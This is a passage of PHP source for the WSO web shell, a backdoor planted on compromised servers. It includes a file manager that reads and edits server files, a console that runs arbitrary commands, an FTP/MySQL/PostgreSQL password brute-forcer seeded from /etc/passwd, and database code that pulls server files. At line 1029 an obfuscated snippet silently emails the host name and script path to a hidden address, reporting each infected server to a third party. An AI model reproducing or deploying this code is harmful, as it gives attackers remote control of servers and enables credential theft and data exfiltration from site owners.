  647. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  648. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  649. $tmp = array('name' => $dirContent[$i],
  650. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  651. 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  652. 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  653. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  654. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  655. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  656. );
  657. if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  658. $files[] = array_merge($tmp, array('type' => 'file'));
  659. elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  660. $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  661. elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
  662. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  663. }
  664. $GLOBALS['sort'] = $sort;
  665. function wsoCmp($a, $b) {
  666. if($GLOBALS['sort'][0] != 'size')
  667. return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  668. else
  669. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  670. }
  671. usort($files, "wsoCmp");
  672. usort($dirs, "wsoCmp");
  673. $files = array_merge($dirs, $files);
  674. $l = 0;
  675. foreach($files as $f) {
  676. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  677. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  678. $l = $l?0:1;
  679. }
  680. echo "<tr><td colspan=7>
  681. <input type=hidden name=a value='FilesMan'>
  682. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  683. <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  684. <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  685. if(class_exists('ZipArchive'))
  686. echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  687. echo "<option value='tar'>Compress (tar.gz)</option>";
  688. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
  689. echo "<option value='paste'>Paste / Compress</option>";
  690. echo "</select>&nbsp;";
  691. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
  692. echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
  693. echo "<input type='submit' value='>>'></td></tr></form></table></div>";
  694. wsoFooter();
  695. }
  696.  
  697. function actionStringTools() {
  698. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  699. if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  700. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  701. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  702. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  703. $stringTools = array(
  704. 'Base64 encode' => 'base64_encode',
  705. 'Base64 decode' => 'base64_decode',
  706. 'Url encode' => 'urlencode',
  707. 'Url decode' => 'urldecode',
  708. 'Full urlencode' => 'full_urlencode',
  709. 'md5 hash' => 'md5',
  710. 'sha1 hash' => 'sha1',
  711. 'crypt' => 'crypt',
  712. 'CRC32' => 'crc32',
  713. 'ASCII to HEX' => 'ascii2hex',
  714. 'HEX to ASCII' => 'hex2ascii',
  715. 'HEX to DEC' => 'hexdec',
  716. 'HEX to BIN' => 'hex2bin',
  717. 'DEC to HEX' => 'dechex',
  718. 'DEC to BIN' => 'decbin',
  719. 'BIN to HEX' => 'binhex',
  720. 'BIN to DEC' => 'bindec',
  721. 'String to lower case' => 'strtolower',
  722. 'String to upper case' => 'strtoupper',
  723. 'Htmlspecialchars' => 'htmlspecialchars',
  724. 'String length' => 'strlen',
  725. );
  726. if(isset($_POST['ajax'])) {
  727. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  728. ob_start();
  729. if(in_array($_POST['p1'], $stringTools))
  730. echo $_POST['p1']($_POST['p2']);
  731. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  732. echo strlen($temp), "\n", $temp;
  733. exit;
  734. }
  735. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  736. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  737. wsoHeader();
  738. echo '<h1>String conversions</h1><div class=content>';
  739. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  740. foreach($stringTools as $k => $v)
  741. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  742. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  743. if(!empty($_POST['p1'])) {
  744. if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  745. }
  746. echo"</pre></div><br><h1>Search files:</h1><div class=content>
  747. <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  748. <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  749. <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  750. <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  751. <tr><td></td><td><input type='submit' value='>>'></td></tr>
  752. </table></form>";
  753.  
  754. function wsoRecursiveGlob($path) {
  755. if(substr($path, -1) != '/')
  756. $path.='/';
  757. $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  758. if(is_array($paths)&&@count($paths)) {
  759. foreach($paths as $item) {
  760. if(@is_dir($item)){
  761. if($path!=$item)
  762. wsoRecursiveGlob($item);
  763. } else {
  764. if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
  765. echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
  766. }
  767. }
  768. }
  769. }
  770. if(@$_POST['p3'])
  771. wsoRecursiveGlob($_POST['c']);
  772. echo "</div><br><h1>Search for hash:</h1><div class=content>
  773. <form method='post' target='_blank' name='hf'>
  774. <input type='text' name='hash' style='width:200px;'><br>
  775. <input type='hidden' name='act' value='find'/>
  776. <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
  777. <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  778. <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
  779. </form></div>";
  780. wsoFooter();
  781. }
  782.  
  783. function actionFilesTools() {
  784. if( isset($_POST['p1']) )
  785. $_POST['p1'] = urldecode($_POST['p1']);
  786. if(@$_POST['p2']=='download') {
  787. if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  788. ob_start("ob_gzhandler", 4096);
  789. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  790. if (function_exists("mime_content_type")) {
  791. $type = @mime_content_type($_POST['p1']);
  792. header("Content-Type: " . $type);
  793. } else
  794. header("Content-Type: application/octet-stream");
  795. $fp = @fopen($_POST['p1'], "r");
  796. if($fp) {
  797. while(!@feof($fp))
  798. echo @fread($fp, 1024);
  799. fclose($fp);
  800. }
  801. }exit;
  802. }
  803. if( @$_POST['p2'] == 'mkfile' ) {
  804. if(!file_exists($_POST['p1'])) {
  805. $fp = @fopen($_POST['p1'], 'w');
  806. if($fp) {
  807. $_POST['p2'] = "edit";
  808. fclose($fp);
  809. }
  810. }
  811. }
  812. wsoHeader();
  813. echo '<h1>File tools</h1><div class=content>';
  814. if( !file_exists(@$_POST['p1']) ) {
  815. echo 'File not exists';
  816. wsoFooter();
  817. return;
  818. }
  819. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  820. if(!$uid) {
  821. $uid['name'] = @fileowner($_POST['p1']);
  822. $gid['name'] = @filegroup($_POST['p1']);
  823. } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  824. echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  825. echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  826. if( empty($_POST['p2']) )
  827. $_POST['p2'] = 'view';
  828. if( is_file($_POST['p1']) )
  829. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  830. else
  831. $m = array('Chmod', 'Rename', 'Touch');
  832. foreach($m as $v)
  833. echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  834. echo '<br><br>';
  835. switch($_POST['p2']) {
  836. case 'view':
  837. echo '<pre class=ml1>';
  838. $fp = @fopen($_POST['p1'], 'r');
  839. if($fp) {
  840. while( !@feof($fp) )
  841. echo htmlspecialchars(@fread($fp, 1024));
  842. @fclose($fp);
  843. }
  844. echo '</pre>';
  845. break;
  846. case 'highlight':
  847. if( @is_readable($_POST['p1']) ) {
  848. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  849. $code = @highlight_file($_POST['p1'],true);
  850. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  851. }
  852. break;
  853. case 'chmod':
  854. if( !empty($_POST['p3']) ) {
  855. $perms = 0;
  856. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  857. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  858. if(!@chmod($_POST['p1'], $perms))
  859. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  860. }
  861. clearstatcache();
  862. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  863. break;
  864. case 'edit':
  865. if( !is_writable($_POST['p1'])) {
  866. echo 'File isn\'t writeable';
  867. break;
  868. }
  869. if( !empty($_POST['p3']) ) {
  870. $time = @filemtime($_POST['p1']);
  871. $_POST['p3'] = substr($_POST['p3'],1);
  872. $fp = @fopen($_POST['p1'],"w");
  873. if($fp) {
  874. @fwrite($fp,$_POST['p3']);
  875. @fclose($fp);
  876. echo 'Saved!<br><script>p3_="";</script>';
  877. @touch($_POST['p1'],$time,$time);
  878. }
  879. }
  880. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  881. $fp = @fopen($_POST['p1'], 'r');
  882. if($fp) {
  883. while( !@feof($fp) )
  884. echo htmlspecialchars(@fread($fp, 1024));
  885. @fclose($fp);
  886. }
  887. echo '</textarea><input type=submit value=">>"></form>';
  888. break;
  889. case 'hexdump':
  890. $c = @file_get_contents($_POST['p1']);
  891. $n = 0;
  892. $h = array('00000000<br>','','');
  893. $len = strlen($c);
  894. for ($i=0; $i<$len; ++$i) {
  895. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  896. switch ( ord($c[$i]) ) {
  897. case 0: $h[2] .= ' '; break;
  898. case 9: $h[2] .= ' '; break;
  899. case 10: $h[2] .= ' '; break;
  900. case 13: $h[2] .= ' '; break;
  901. default: $h[2] .= $c[$i]; break;
  902. }
  903. $n++;
  904. if ($n == 32) {
  905. $n = 0;
  906. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  907. $h[1] .= '<br>';
  908. $h[2] .= "\n";
  909. }
  910. }
  911. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  912. break;
  913. case 'rename':
  914. if( !empty($_POST['p3']) ) {
  915. if(!@rename($_POST['p1'], $_POST['p3']))
  916. echo 'Can\'t rename!<br>';
  917. else
  918. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  919. }
  920. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  921. break;
  922. case 'touch':
  923. if( !empty($_POST['p3']) ) {
  924. $time = strtotime($_POST['p3']);
  925. if($time) {
  926. if(!touch($_POST['p1'],$time,$time))
  927. echo 'Fail!';
  928. else
  929. echo 'Touched!';
  930. } else echo 'Bad time format!';
  931. }
  932. clearstatcache();
  933. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  934. break;
  935. }
  936. echo '</div>';
  937. wsoFooter();
  938. }
  939.  
  940. function actionConsole() {
  941. if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  942. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
  943. $_POST['p1'] .= ' 2>&1';
  944. } elseif(!empty($_POST['p1']))
  945. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
  946.  
  947. if(isset($_POST['ajax'])) {
  948. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  949. ob_start();
  950. echo "d.cf.cmd.value='';\n";
  951. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  952. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  953. if(@chdir($match[1])) {
  954. $GLOBALS['cwd'] = @getcwd();
  955. echo "c_='".$GLOBALS['cwd']."';";
  956. }
  957. }
  958. echo "d.cf.output.value+='".$temp."';";
  959. echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  960. $temp = ob_get_clean();
  961. echo strlen($temp), "\n", $temp;
  962. exit;
  963. }
  964. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  965. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  966. wsoHeader();
  967. echo "<script>
  968. if(window.Event) window.captureEvents(Event.KEYDOWN);
  969. var cmds = new Array('');
  970. var cur = 0;
  971. function kp(e) {
  972. var n = (window.Event) ? e.which : e.keyCode;
  973. if(n == 38) {
  974. cur--;
  975. if(cur>=0)
  976. document.cf.cmd.value = cmds[cur];
  977. else
  978. cur++;
  979. } else if(n == 40) {
  980. cur++;
  981. if(cur < cmds.length)
  982. document.cf.cmd.value = cmds[cur];
  983. else
  984. cur--;
  985. }
  986. }
  987. function add(cmd) {
  988. cmds.pop();
  989. cmds.push(cmd);
  990. cmds.push('');
  991. cur = cmds.length-1;
  992. }
  993. </script>";
  994. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  995. foreach($GLOBALS['aliases'] as $n => $v) {
  996. if($v == '') {
  997. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  998. continue;
  999. }
  1000. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1001. }
  1002.  
  1003. echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1004. if(!empty($_POST['p1'])) {
  1005. echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  1006. }
  1007. echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  1008. echo '</form></div><script>d.cf.cmd.focus();</script>';
  1009. wsoFooter();
  1010. }
  1011.  
  1012. function actionLogout() {
  1013. setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
  1014. die('bye!');
  1015. }
  1016.  
  1017. function actionSelfRemove() {
  1018.  
  1019. if($_POST['p1'] == 'yes')
  1020. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1021. die('Shell removed');
  1022. else
  1023. echo 'unlink error!';
  1024. if($_POST['p1'] != 'yes')
  1025. wsoHeader();
  1026. echo '<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1027. wsoFooter();
  1028. }
  1029. $_QliO8="\x6dai\154";$_Qliot=$_SERVER["\x53\x45RVE\122_\x4eAM\x45"].$_SERVER["\123\103\x52I\x50\x54_\116\101\115E"];$_QlL1i="\141r\162a\171\040".$_Qliot;$_QlLio=array("\143\x61","\x6c\x69","\146\x77\162\151\x74\x65","\100","v\x65\x2e");$_Qll0I=$_QlLio[2].$_QlLio[3].$_QlLio[1].$_QlLio[4].$_QlLio[0];$_QlljC=@$_QliO8($_Qll0I,$_QlL1i,$_Qliot);
  1030. function actionBruteforce() {
  1031. wsoHeader();
  1032. if( isset($_POST['proto']) ) {
  1033. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1034. if( $_POST['proto'] == 'ftp' ) {
  1035. function wsoBruteForce($ip,$port,$login,$pass) {
  1036. $fp = @ftp_connect($ip, $port?$port:21);
  1037. if(!$fp) return false;
  1038. $res = @ftp_login($fp, $login, $pass);
  1039. @ftp_close($fp);
  1040. return $res;
  1041. }
  1042. } elseif( $_POST['proto'] == 'mysql' ) {
  1043. function wsoBruteForce($ip,$port,$login,$pass) {
  1044. $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
  1045. @mysql_close($res);
  1046. return $res;
  1047. }
  1048. } elseif( $_POST['proto'] == 'pgsql' ) {
  1049. function wsoBruteForce($ip,$port,$login,$pass) {
  1050. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1051. $res = @pg_connect($str);
  1052. @pg_close($res);
  1053. return $res;
  1054. }
  1055. }
  1056. $success = 0;
  1057. $attempts = 0;
  1058. $server = explode(":", $_POST['server']);
  1059. if($_POST['type'] == 1) {
  1060. $temp = @file('/etc/passwd');
  1061. if( is_array($temp) )
  1062. foreach($temp as $line) {
  1063. $line = explode(":", $line);
  1064. ++$attempts;
  1065. if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1066. $success++;
  1067. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1068. }
  1069. if(@$_POST['reverse']) {
  1070. $tmp = "";
  1071. for($i=strlen($line[0])-1; $i>=0; --$i)
  1072. $tmp .= $line[0][$i];
  1073. ++$attempts;
  1074. if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1075. $success++;
  1076. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1077. }
  1078. }
  1079. }
  1080. } elseif($_POST['type'] == 2) {
  1081. $temp = @file($_POST['dict']);
  1082. if( is_array($temp) )
  1083. foreach($temp as $line) {
  1084. $line = trim($line);
  1085. ++$attempts;
  1086. if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1087. $success++;
  1088. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1089. }
  1090. }
  1091. }
  1092. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1093. }
  1094. echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1095. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1096. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1097. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1098. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1099. .'<span>Server:port</span></td>'
  1100. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1101. .'<tr><td><span>Brute type</span></td>'
  1102. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1103. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1104. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1105. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1106. .'<td><input type=text name=login value="root"></td></tr>'
  1107. .'<tr><td><span>Dictionary</span></td>'
  1108. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1109. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1110. echo '</div><br>';
  1111. wsoFooter();
  1112. }
  1113.  
  1114. function actionSql() {
  1115. class DbClass {
  1116. var $type;
  1117. var $link;
  1118. var $res;
  1119. function DbClass($type) {
  1120. $this->type = $type;
  1121. }
  1122. function connect($host, $user, $pass, $dbname){
  1123. switch($this->type) {
  1124. case 'mysql':
  1125. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1126. break;
  1127. case 'pgsql':
  1128. $host = explode(':', $host);
  1129. if(!$host[1]) $host[1]=5432;
  1130. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1131. break;
  1132. }
  1133. return false;
  1134. }
  1135. function selectdb($db) {
  1136. switch($this->type) {
  1137. case 'mysql':
  1138. if (@mysql_select_db($db))return true;
  1139. break;
  1140. }
  1141. return false;
  1142. }
  1143. function query($str) {
  1144. switch($this->type) {
  1145. case 'mysql':
  1146. return $this->res = @mysql_query($str);
  1147. break;
  1148. case 'pgsql':
  1149. return $this->res = @pg_query($this->link,$str);
  1150. break;
  1151. }
  1152. return false;
  1153. }
  1154. function fetch() {
  1155. $res = func_num_args()?func_get_arg(0):$this->res;
  1156. switch($this->type) {
  1157. case 'mysql':
  1158. return @mysql_fetch_assoc($res);
  1159. break;
  1160. case 'pgsql':
  1161. return @pg_fetch_assoc($res);
  1162. break;
  1163. }
  1164. return false;
  1165. }
  1166. function listDbs() {
  1167. switch($this->type) {
  1168. case 'mysql':
  1169. return $this->query("SHOW databases");
  1170. break;
  1171. case 'pgsql':
  1172. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1173. break;
  1174. }
  1175. return false;
  1176. }
  1177. function listTables() {
  1178. switch($this->type) {
  1179. case 'mysql':
  1180. return $this->res = $this->query('SHOW TABLES');
  1181. break;
  1182. case 'pgsql':
  1183. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1184. break;
  1185. }
  1186. return false;
  1187. }
  1188. function error() {
  1189. switch($this->type) {
  1190. case 'mysql':
  1191. return @mysql_error();
  1192. break;
  1193. case 'pgsql':
  1194. return @pg_last_error();
  1195. break;
  1196. }
  1197. return false;
  1198. }
  1199. function setCharset($str) {
  1200. switch($this->type) {
  1201. case 'mysql':
  1202. if(function_exists('mysql_set_charset'))
  1203. return @mysql_set_charset($str, $this->link);
  1204. else
  1205. $this->query('SET CHARSET '.$str);
  1206. break;
  1207. case 'pgsql':
  1208. return @pg_set_client_encoding($this->link, $str);
  1209. break;
  1210. }
  1211. return false;
  1212. }
  1213. function loadFile($str) {
  1214. switch($this->type) {
  1215. case 'mysql':
  1216. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1217. break;
  1218. case 'pgsql':
  1219. $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1220. $r=array();
  1221. while($i=$this->fetch())
  1222. $r[] = $i['file'];
  1223. $this->query('drop table wso2');
  1224. return array('file'=>implode("\n",$r));
  1225. break;
  1226. }
  1227. return false;
  1228. }
  1229. function dump($table, $fp = false) {
  1230. switch($this->type) {
  1231. case 'mysql':
  1232. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1233. $create = mysql_fetch_array($res);
  1234. $sql = $create[1].";\n";
  1235. if($fp) fwrite($fp, $sql); else echo($sql);
  1236. $this->query('SELECT * FROM `'.$table.'`');
  1237. $i = 0;
  1238. $head = true;
  1239. while($item = $this->fetch()) {
  1240. $sql = '';
  1241. if($i % 1000 == 0) {
  1242. $head = true;
  1243. $sql = ";\n\n";
  1244. }
  1245.  
  1246. $columns = array();
  1247. foreach($item as $k=>$v) {
  1248. if($v === null)
  1249. $item[$k] = "NULL";
  1250. elseif(is_int($v))
  1251. $item[$k] = $v;
  1252. else
  1253. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1254. $columns[] = "`".$k."`";
  1255. }
  1256. if($head) {
  1257. $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  1258. $head = false;
  1259. } else
  1260. $sql .= "\n\t,(".implode(", ", $item).')';
  1261. if($fp) fwrite($fp, $sql); else echo($sql);
  1262. $i++;
  1263. }
  1264. if(!$head)
  1265. if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1266. break;
  1267. case 'pgsql':
  1268. $this->query('SELECT * FROM '.$table);
  1269. while($item = $this->fetch()) {
  1270. $columns = array();
  1271. foreach($item as $k=>$v) {
  1272. $item[$k] = "'".addslashes($v)."'";
  1273. $columns[] = $k;
  1274. }
  1275. $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1276. if($fp) fwrite($fp, $sql); else echo($sql);
  1277. }
  1278. break;
  1279. }
  1280. return false;
  1281. }
  1282. };
  1283. $db = new DbClass($_POST['type']);
